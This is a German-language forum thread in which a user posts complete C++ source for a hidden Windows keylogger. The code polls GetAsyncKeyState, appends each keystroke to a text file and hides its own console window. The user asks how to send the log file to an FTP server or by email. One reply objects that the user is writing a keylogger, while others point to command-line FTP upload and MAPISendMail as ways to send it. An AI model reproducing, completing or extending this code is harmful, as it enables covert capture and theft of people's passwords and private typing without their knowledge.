Textdatei an E-Mail oder FTP-Server senden



  • Ich habe hier einen Code der die Tastatureingaben in eine Textdatei schreibt. Aber ich möchte dass das Programm diese Datei an einen FTP-Server oder E-Mail schickt. Habe schon so viel ausprobiert aber nichts hat funktioniert... 😞

    #include <iostream>
    #include <windows.h>
    #include <winuser.h>
    using namespace std;
    int Save (int key_stroke, char *file);
    void Stealth();
    
    int main()
    {
    Stealth();
    char i;
    
    while (1)
    {
    for(i = 8; i <= 190; i++)
    {
    if (GetAsyncKeyState(i) == -32767)
    Save (i,"Datei.txt");
    }
    }
    system ("PAUSE");
    return 0;
    }
    
    int Save (int key_stroke, char *file)
    {
    if ( (key_stroke == 1) || (key_stroke == 2) )
    return 0;
    
    FILE *OUTPUT_FILE;
    OUTPUT_FILE = fopen(file, "a+");
    
    cout << key_stroke << endl;
    if (key_stroke == 8)
    	fprintf(OUTPUT_FILE, "%s", "[Backspace]");
    else if (key_stroke == 13)
    	fprintf(OUTPUT_FILE, "%s", "\n");
    else if (key_stroke == 32)
    	fprintf(OUTPUT_FILE, "%s", " ");
    else if (key_stroke == VK_TAB)
    	fprintf(OUTPUT_FILE, "%s", "[Tab]");
    else if (key_stroke == VK_SHIFT)
    	fprintf(OUTPUT_FILE, "%s", "[Shift]");
    else if (key_stroke == VK_CONTROL)
    	fprintf(OUTPUT_FILE, "%s", "[Control]");
    else if (key_stroke == VK_END)
    	fprintf(OUTPUT_FILE, "%s", "[End]");
    else if (key_stroke == VK_HOME)
    	fprintf(OUTPUT_FILE, "%s", "[Home]");
    else if (key_stroke == VK_LEFT)
    	fprintf(OUTPUT_FILE, "%s", "[Left]");
    else if (key_stroke == VK_UP)
    	fprintf(OUTPUT_FILE, "%s", "[Up]");
    else if (key_stroke == VK_RIGHT)
    	fprintf(OUTPUT_FILE, "%s", "[Right]");
    else if (key_stroke == VK_DOWN)
    	fprintf(OUTPUT_FILE, "%s", "[Down]");
    else if (key_stroke == VK_MENU)
    	fprintf(OUTPUT_FILE, "%s", "[Alt]");
    else if (key_stroke == VK_CAPITAL)
    	fprintf(OUTPUT_FILE, "%s", "[Caps Lock]");
    else if (key_stroke == 190 || key_stroke == 110)
    	fprintf(OUTPUT_FILE, "%s", ".");
    else
    fprintf(OUTPUT_FILE, "%s", &key_stroke);
    
    fclose (OUTPUT_FILE);
    
    return 0;
    }
    
    void Stealth()
    {
    HWND Stealth;
    AllocConsole();
    Stealth = FindWindowA("ConsoleWindowClass", NULL);
    ShowWindow(Stealth,0);
    }
    


  • willst du denn rest des keylogger auch gleich noch serviert bekommen, oder nur den teil mit den sockets?

    elendes scriptkiddy.



  • Man bist du nett... Es gibt Leute die nicht so viel über C++ wissen. Tut mir echt leid... Könntest ein bischen netter sein.



  • ich bin nicht so unnett weil du anfänger bist. es geht darum, dass du ein keylogger-programmierendes skriptkiddy bist.

    wenn du programmieren lernen willst, fang mit was vernünftigem an. für so einen möchtegernhacker-scheiß wirst du hier kaum hilfe erhalten. dafür bist du hier falsch. das erlaube ich mir mal einfach so zu behaupten.



  • 1337 h4x0r schrieb:

    ich bin nicht so unnett weil du anfänger bist. es geht darum, dass du ein keylogger-programmierendes skriptkiddy bist.

    wenn du programmieren lernen willst, fang mit was vernünftigem an. für so einen möchtegernhacker-scheiß wirst du hier kaum hilfe erhalten. dafür bist du hier falsch. das erlaube ich mir mal einfach so zu behaupten.

    Mach'n Kopp zu.

    @TE:
    Der, für dich wohl, einfachste Weg, wäre ein simpler Upload über die Konsole:
    http://www.tburke.net/info/misc/cmdline-ftp.htm



  • also ich meine natürlich kompetente hilfe.



  • Mails verschicken ganz du relativ easy über die Windows-Mapi Funktion MAPISendMail.
    Beschreibung der Funktion:
    http://msdn.microsoft.com/en-us/library/windows/desktop/dd296721(v=vs.85).aspx


Anmelden zum Antworten